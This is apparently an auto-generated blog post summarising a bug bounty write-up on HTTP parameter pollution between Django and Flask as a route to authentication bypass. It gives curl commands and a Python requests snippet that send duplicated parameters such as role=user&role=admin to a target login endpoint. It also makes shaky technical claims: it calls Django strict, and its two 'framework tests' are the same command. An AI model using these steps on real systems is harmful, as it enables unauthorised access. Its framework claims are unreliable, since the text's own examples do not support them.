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Source: Writeup Link
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Understanding the Vulnerability
Differences in parameter parsing between Django and Flask can lead to authentication bypass vulnerabilities. Here’s how you can test and exploit this issue:
Key Commands & Steps
1. Identify Framework Differences
- Django processes query parameters in a strict manner.
- Flask is more lenient and may interpret parameters differently.
2. Test for Parameter Parsing Issues
Use `curl` to test how each framework handles duplicate parameters:
Flask Test (may process the first or last parameter) curl -X GET "http://target.com/login?user=admin&user=guest" Django Test (strict parsing, may reject duplicates) curl -X GET "http://target.com/login?user=admin&user=guest"
3. Exploit Authentication Bypass
If the internal API uses Flask and the frontend uses Django, manipulate parameters to bypass checks:
Example Exploit (if Flask takes the last parameter) curl -X POST "http://target.com/auth?role=user&role=admin" -d "username=attacker&password=12345"
4. Automate Testing with Python
Use `requests` to automate parameter fuzzing:
import requests
url = "http://target.com/login"
params = {"user": ["admin", "guest"]}
response = requests.get(url, params=params)
print(response.text)
5. Check for Framework Fingerprinting
Identify backend frameworks using `wappalyzer` or manual inspection:
Check HTTP headers for framework clues curl -I http://target.com Use Wappalyzer (Browser Extension)
Defensive Measures
- For Developers: Normalize input handling across microservices.
- For Pentesters: Always test parameter pollution in multi-framework environments.
What Undercode Say
This vulnerability highlights the risks of inconsistent parameter parsing in web frameworks. Attackers can exploit differences between Django (strict) and Flask (lenient) to bypass authentication. Always validate input handling in multi-service architectures and test for parameter pollution.
Expected Output:
- Exploitable Auth Bypass if frameworks handle parameters differently.
- $5,000 Bounty for uncovering such flaws in bug bounty programs.
Prediction
As microservices grow, similar parsing discrepancies will lead to more authentication flaws. Expect increased scrutiny on API parameter handling in 2024-2025.
For more bug bounty techniques, follow Priyanshu Shakya on LinkedIn.
References:
Reported By: Priyanshu Shakya – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
